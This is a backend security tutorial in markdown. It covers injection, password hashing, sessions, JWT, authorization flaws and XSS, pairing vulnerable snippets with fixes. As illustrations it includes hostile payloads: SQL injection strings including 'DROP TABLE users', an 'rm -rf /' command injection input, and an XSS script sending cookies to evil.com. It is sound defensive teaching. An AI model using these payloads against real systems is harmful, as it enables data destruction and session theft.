Skip to content

Latest commit

 

History

History
1005 lines (745 loc) · 19 KB

File metadata and controls

1005 lines (745 loc) · 19 KB

Backend Security - Complete Guide

Table of Contents


Introduction

Core Philosophy

Security is not a feature—it's a mindset.

Goal: Make you paranoid about your code and always think about security.

Key Question Attackers Ask

"Where did the developer make an assumption?"

Every vulnerability comes down to assumptions:

  • ❌ "Input will be clean"
  • ❌ "User is who they say they are"
  • ❌ "Request comes from our frontend"
  • ❌ "No one will open network tab"

The Attacker's Mindset

Attackers Don't Care About

  • Your framework
  • Your programming language
  • Your library choices

Attackers Care About

Finding your assumptions and breaking them

They don't use your app the "right" way:

  • They poke every boundary
  • They modify every input
  • They guess your assumptions
  • They try to break everything

Injection Attacks

The Root Cause

Your backend speaks multiple languages:

Backend
├── SQL (database)
├── HTML/CSS/JS (browser)
└── Shell (operating system)

Vulnerabilities occur when:

  • User input crosses language boundaries
  • Data is treated as code
  • Code is treated as data

SQL Injection

The Problem

Vulnerable Code:

// ❌ DANGEROUS - String concatenation
const email = req.body.email;
const query = `SELECT * FROM users WHERE email = '${email}'`;
db.query(query);

Attack Example

Malicious Input:

' OR '1'='1' --

Resulting Query:

SELECT * FROM users WHERE email = '' OR '1'='1' --'

What happens:

  1. First ' closes the string
  2. OR '1'='1' always true
  3. -- comments out rest
  4. Returns ALL users

Worse Attack

Input:

'; DROP TABLE users; --

Resulting Query:

SELECT * FROM users WHERE email = ''; 
DROP TABLE users; 
--'

Result: Database table deleted! 💀


The Fix: Parameterized Queries

✅ SAFE - Parameterized queries:

// Separate query from data
const query = 'SELECT * FROM users WHERE email = $1';
const values = [email];
db.query(query, values);

Why it works:

  • Query structure defined separately
  • User input treated as data only
  • No confusion between code and data
  • Database drivers handle escaping

Modern ORMs use this by default!


Command Injection

The Problem

Vulnerable Code:

// ❌ DANGEROUS - Command concatenation
const filename = req.body.filename;
exec(`ffmpeg -i input.jpg -o ${filename}`);

Attack Example

Malicious Input:

output.jpg; rm -rf /

Resulting Command:

ffmpeg -i input.jpg -o output.jpg; rm -rf /

Result: Entire system deleted! 💀


The Fix: Argument Arrays

✅ SAFE - Separate command from arguments:

// Use spawn/execFile with argument array
const { spawn } = require('child_process');
spawn('ffmpeg', ['-i', 'input.jpg', '-o', filename]);

Why it works:

  • Arguments passed directly to process
  • Not interpreted by shell
  • No command injection possible

Injection Summary

Mental Model:

User Input + Another Language = Potential Injection

User Input → Database = SQL Injection
User Input → Shell = Command Injection
User Input → HTML = XSS (covered later)

Prevention: ✅ Use parameterized APIs ✅ Separate structure from data ✅ Never use string concatenation ✅ Always treat user input as data


Authentication Security

Use an Auth Provider (Recommended)

Why?

  • Saves development time
  • Professional security team
  • Handles edge cases
  • Quick response to new threats
  • World-class UX

When to build your own:

  • After reaching scale (1M+ users)
  • When bills exceed $10K+/month
  • When you have revenue and team

Password Storage

❌ Never Store Plain Text

// ❌ TERRIBLE
await db.query(
  'INSERT INTO users (email, password) VALUES ($1, $2)',
  [email, 'password123']
);

Problems:

  • Database breach exposes all passwords
  • Employees can see passwords
  • Users reuse passwords across sites
  • Massive security risk

Use Hashing

What is Hashing?

  • One-way function
  • Same input → Same output (always)
  • Fixed-length output
  • Cannot reverse (mathematically impossible)
const bcrypt = require('bcrypt');

// Hash password
const hash = await bcrypt.hash('password123', 10);
// Result: $2b$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy

// Verify password
const match = await bcrypt.compare('password123', hash);
// Returns: true

Problem: Rainbow Tables

Rainbow Table: Precomputed hashes of common passwords

password    → 5f4dcc3b5aa765d61d8327deb882cf99
123456      → e10adc3949ba59abbe56e057f20f883e
admin       → 21232f297a57a5a743894a0e4a801fc3

Attack: Match leaked hashes against rainbow table


Solution: Salting

Salt: Random string unique to each user

// Signup
const salt = crypto.randomBytes(16).toString('hex'); // SP3xY2...
const password = '123456';
const hashed = await hash(password + salt);

// Store both
await db.query(
  'INSERT INTO users (email, password_hash, salt) VALUES ($1, $2, $3)',
  [email, hashed, salt]
);

// Login
const user = await db.query('SELECT * FROM users WHERE email = $1', [email]);
const inputHashed = await hash(inputPassword + user.salt);
if (inputHashed === user.password_hash) {
  // Login successful
}

Why it works:

  • Each user has unique salt
  • Same password → Different hash
  • Rainbow tables useless

Problem: Brute Force

Modern GPUs:

  • Billions of SHA-256 hashes/second
  • Can try every 8-character password in days

Solution: Slow Hashing Functions

Use Argon2id (current standard) or bcrypt:

const argon2 = require('argon2');

// Deliberately slow (400ms)
const hash = await argon2.hash('password123', {
  timeCost: 3,
  memoryCost: 65536
});

Impact:

  • Genuine user: 400ms login (imperceptible)
  • Attacker: 4-5 attempts/second (vs billions)
  • Cracking time: Days → Centuries

Sessions (Stateful Auth)

How It Works

1. User logs in
2. Server creates session ID (128-256 random characters)
3. Server stores session in database/Redis
4. Server sends session ID to browser (cookie)
5. Browser includes cookie in every request
6. Server looks up session

Session Storage

// Create session
const sessionId = crypto.randomBytes(32).toString('hex');

await db.query(`
  INSERT INTO sessions (id, user_id, ip_address, user_agent, expires_at)
  VALUES ($1, $2, $3, $4, $5)
`, [sessionId, userId, req.ip, req.headers['user-agent'], expiresAt]);

// Send to browser
res.cookie('session_id', sessionId, {
  httpOnly: true,    // ✅ JavaScript can't access
  secure: true,      // ✅ HTTPS only
  sameSite: 'strict' // ✅ Prevent CSRF
});

Cookie Flags (Critical!)

httpOnly: true

  • JavaScript cannot read cookie
  • Protects against XSS stealing session

secure: true

  • Cookie only sent over HTTPS
  • Prevents interception on public WiFi

sameSite: 'strict' or 'lax'

  • strict: Only same-origin requests
  • lax: Top-level navigation only
  • none: All requests (dangerous!)

JWT (Stateless Auth)

Structure

Header.Payload.Signature

eyJhbGc...  .  eyJzdWI...  .  SflKxw...
(Algorithm)    (Data)        (Signature)

Payload Example:

{
  "sub": "user123",
  "name": "John Doe",
  "admin": false,
  "iat": 1516239022
}

How It Works

const jwt = require('jsonwebtoken');

// Login: Create JWT
const token = jwt.sign(
  { userId: user.id, email: user.email },
  process.env.JWT_SECRET,
  { expiresIn: '15m' }
);

res.json({ token });

// Verify JWT
const decoded = jwt.verify(token, process.env.JWT_SECRET);
// If signature invalid, throws error

JWT Problems

1. Cannot Revoke

  • User wants to log out all devices → Impossible
  • Account compromised → Can't immediately revoke

Workarounds:

  • Blacklist tokens (defeats stateless purpose)
  • Short expiration + refresh tokens

2. Storage Issues

  • localStorage → Vulnerable to XSS
  • Cookies → Back to session-like setup

Recommendation: Use sessions unless you have specific scaling needs


Rate Limiting

Why? Prevent brute force attacks

Multi-Layer Approach

Layer 1: Per IP

// 10 attempts per minute per IP
app.use('/login', rateLimit({
  windowMs: 60 * 1000,
  max: 10,
  keyGenerator: (req) => req.ip
}));

Layer 2: Per Account

// 5 failed attempts → Lock for 15 minutes
if (failedAttempts >= 5) {
  await lockAccount(userId, 15 * 60 * 1000);
}

Layer 3: Global

// 100 total login attempts per minute system-wide
globalRateLimit.check() || throw new Error('System busy');

Authorization Security

The Confusion

Authentication = Who are you? Authorization = What can you do?

Problem: Developers assume authenticated = authorized


Broken Object Level Authorization (BOLA)

The Vulnerability

// ❌ VULNERABLE
app.get('/books/:id', authenticateUser, async (req, res) => {
  // User is authenticated ✅
  // But can access ANY book! ❌
  
  const book = await db.query(
    'SELECT * FROM books WHERE id = $1',
    [req.params.id]
  );
  
  res.json(book);
});

Attack:

GET /books/1  → User's book ✅
GET /books/2  → Someone else's book! ❌
GET /books/3  → Another user's book! ❌

The Fix

// ✅ SECURE
app.get('/books/:id', authenticateUser, async (req, res) => {
  const book = await db.query(
    'SELECT * FROM books WHERE id = $1 AND user_id = $2',
    [req.params.id, req.user.id]  // ✅ Check ownership!
  );
  
  if (!book) {
    return res.status(404).json({ error: 'Not found' });
  }
  
  res.json(book);
});

Key Points:

  • ✅ Check authorization at data access point
  • ✅ Always include user_id in query
  • ✅ Return 404 (not 403) to avoid info leak

Information Leakage

❌ Don't leak information:

// BAD - Reveals book exists
if (book.user_id !== req.user.id) {
  return res.status(403).json({ error: 'Forbidden' });
}

✅ Hide information:

// GOOD - Attacker can't tell if book exists
const book = await db.query(
  'SELECT * FROM books WHERE id = $1 AND user_id = $2',
  [req.params.id, req.user.id]
);

if (!book) {
  return res.status(404).json({ error: 'Not found' });
}

Broken Function Level Authorization (BFLA)

The Vulnerability

// ❌ VULNERABLE - Security through obscurity
app.get('/admin/invoices', authenticateUser, async (req, res) => {
  // Assumes: "Only admins know this URL"
  // Reality: Anyone authenticated can access!
  
  const invoices = await db.query('SELECT * FROM invoices');
  res.json(invoices);
});

The Fix

// ✅ SECURE - Explicit role check
app.get('/admin/invoices', 
  authenticateUser,
  requireRole('admin'),  // ✅ Check role!
  async (req, res) => {
    const invoices = await db.query('SELECT * FROM invoices');
    res.json(invoices);
  }
);

// Middleware
function requireRole(role) {
  return (req, res, next) => {
    if (req.user.role !== role) {
      return res.status(403).json({ error: 'Forbidden' });
    }
    next();
  };
}

Authorization Mental Model

Horizontal Attacks: User A → User B's data

  • Check ownership at database level
  • Include user_id in queries

Vertical Attacks: User → Admin functions

  • Check roles/permissions explicitly
  • Don't rely on URL obscurity

XSS Attacks

What is XSS?

Cross-Site Scripting: Attacker runs JavaScript in victim's browser

Why dangerous?

  • Read everything on page
  • Steal cookies/localStorage
  • Make requests as user
  • Redirect to phishing sites
  • Alter page content

Stored XSS

The Vulnerability

// User posts comment with markdown
const comment = req.body.comment;

// Convert markdown to HTML
const html = markdownToHtml(comment);

// ❌ Store HTML directly
await db.query(
  'INSERT INTO comments (html) VALUES ($1)',
  [html]
);

// ❌ Render without sanitization
res.send(`<div>${html}</div>`);

Attack:

# My Comment
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

Result: Script runs in every user's browser who views the comment!


The Fix

const sanitizeHtml = require('sanitize-html');

// ✅ Sanitize before storing
const clean = sanitizeHtml(html, {
  allowedTags: ['b', 'i', 'em', 'strong', 'a', 'p'],
  allowedAttributes: {
    'a': ['href']
  }
});

await db.query(
  'INSERT INTO comments (html) VALUES ($1)',
  [clean]
);

React (automatic escaping):

// ✅ Safe by default
<div>{userInput}</div>

// ⚠️ Dangerous - only if you must
<div dangerouslySetInnerHTML={{__html: sanitizedHtml}} />

Content Security Policy (CSP)

Last line of defense (not prevention!)

// Tell browser what scripts to allow
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self' https://trusted.com; img-src *"
  );
  next();
});

What it does:

  • Only run scripts from your domain
  • Block inline scripts
  • Restrict image sources
  • Browser enforces automatically

Security Best Practices

1. Input Validation (First Line of Defense)

const { z } = require('zod');

const userSchema = z.object({
  email: z.string().email().max(255),
  password: z.string().min(12).max(128),
  age: z.number().int().min(18).max(120)
});

app.post('/signup', (req, res) => {
  // ✅ Validate EVERYTHING
  const result = userSchema.safeParse(req.body);
  
  if (!result.success) {
    return res.status(400).json({ errors: result.error });
  }
  
  // Now data is exactly as expected
  const { email, password, age } = result.data;
});

2. Security Headers

const helmet = require('helmet');

// ✅ One line for many security headers
app.use(helmet());

// Or manually:
app.use((req, res, next) => {
  // Prevent clickjacking
  res.setHeader('X-Frame-Options', 'DENY');
  
  // Prevent MIME sniffing
  res.setHeader('X-Content-Type-Options', 'nosniff');
  
  // Enable XSS filter
  res.setHeader('X-XSS-Protection', '1; mode=block');
  
  // HTTPS only
  res.setHeader('Strict-Transport-Security', 'max-age=31536000');
  
  next();
});

3. Secrets Management

// ❌ NEVER
const DB_PASSWORD = 'my_secret_password';

// ✅ Environment variables
const DB_PASSWORD = process.env.DB_PASSWORD;

// ✅✅ Secret manager
const secrets = await AWS.SecretsManager.getSecretValue({
  SecretId: 'prod/database'
}).promise();

Key Points:

  • Never commit secrets to Git
  • Use .env files (add to .gitignore)
  • Use secret managers in production
  • Rotate secrets regularly

4. Logging (But Not Secrets!)

// ❌ DON'T log sensitive data
logger.info('User login', {
  email: user.email,
  password: user.password  // ❌❌❌ NEVER!
});

// ✅ Log safely
logger.info('User login', {
  userId: user.id,           // ✅ ID only
  ipAddress: req.ip,
  userAgent: req.headers['user-agent'],
  timestamp: Date.now()
});

Never log:

  • Passwords
  • Credit cards
  • API keys
  • Social Security Numbers
  • Any PII that's not necessary

5. Production vs Development

// Set log level based on environment
const logLevel = process.env.NODE_ENV === 'production' 
  ? 'info'   // Less verbose
  : 'debug'; // Everything

// Disable debug mode in production
if (process.env.NODE_ENV === 'production') {
  app.set('debug', false);
}

Why?

  • Debug logs expose sensitive info
  • Stack traces reveal code structure
  • SQL queries show database schema

The Security Mindset

Three Questions to Always Ask

1. Where is data crossing a boundary?

User Input → Database
User Input → Shell
User Input → HTML
Frontend → Backend

2. What assumptions am I making?

- Input is clean
- User is authorized
- Request is from our frontend
- Data format is correct

3. What if those assumptions are wrong?

- What's the worst that could happen?
- How can an attacker exploit this?
- What damage could be done?

Defense in Depth (Multiple Layers)

Layer 1: Input Validation
         ↓
Layer 2: Parameterized Operations
         ↓
Layer 3: Authorization Checks
         ↓
Layer 4: Security Headers
         ↓
Layer 5: Monitoring & Logging

Why? Even if one layer fails, others protect you


Key Principles

1. Default Deny

  • If not explicitly allowed → Deny
  • New resources protected by default

2. Least Privilege

  • Give minimum access needed
  • Frontend devs ≠ Production database access

3. Fail Securely

  • Errors should not reveal info
  • Return generic error messages

4. Don't Trust Anyone

  • Not user input
  • Not frontend
  • Not even authenticated users

Resources

PortSwigger Academy

https://portswigger.net/web-security

Free comprehensive training:

  • SQL Injection labs
  • XSS tutorials
  • Authentication vulnerabilities
  • Practical exercises
  • Theory + Practice

OWASP Top 10

https://owasp.org/www-project-top-ten/

Current top vulnerabilities:

  1. Broken Access Control
  2. Cryptographic Failures
  3. Injection
  4. Insecure Design
  5. Security Misconfiguration
  6. Vulnerable Components
  7. Authentication Failures
  8. Software/Data Integrity
  9. Logging Failures
  10. Server-Side Request Forgery

OWASP Cheat Sheets

https://cheatsheetseries.owasp.org/

Best practices for:

  • Authentication
  • Session Management
  • Password Storage
  • SQL Injection Prevention
  • XSS Prevention
  • And much more...

Summary Checklist

✅ Injection Prevention

  • Use parameterized queries
  • Never concatenate user input
  • Sanitize all user input
  • Use ORM/framework safely

✅ Authentication

  • Hash passwords (Argon2id/bcrypt)
  • Use salts (unique per user)
  • Implement rate limiting
  • Use httpOnly, secure cookies
  • Consider auth provider

✅ Authorization

  • Check at data access point
  • Include user_id in queries
  • Verify roles for admin functions
  • Return 404 (not 403)
  • Write authorization tests

✅ XSS Prevention

  • Sanitize user content
  • Use CSP headers
  • Escape output
  • Never use dangerouslySetInnerHTML

✅ General Security

  • Validate all input
  • Use security headers (Helmet)
  • Manage secrets properly
  • Set correct log levels
  • Monitor suspicious activity
  • Test security explicitly

Remember: Security is not a feature you add—it's a mindset you develop. Always be paranoid about boundaries, assumptions, and user input! 🛡️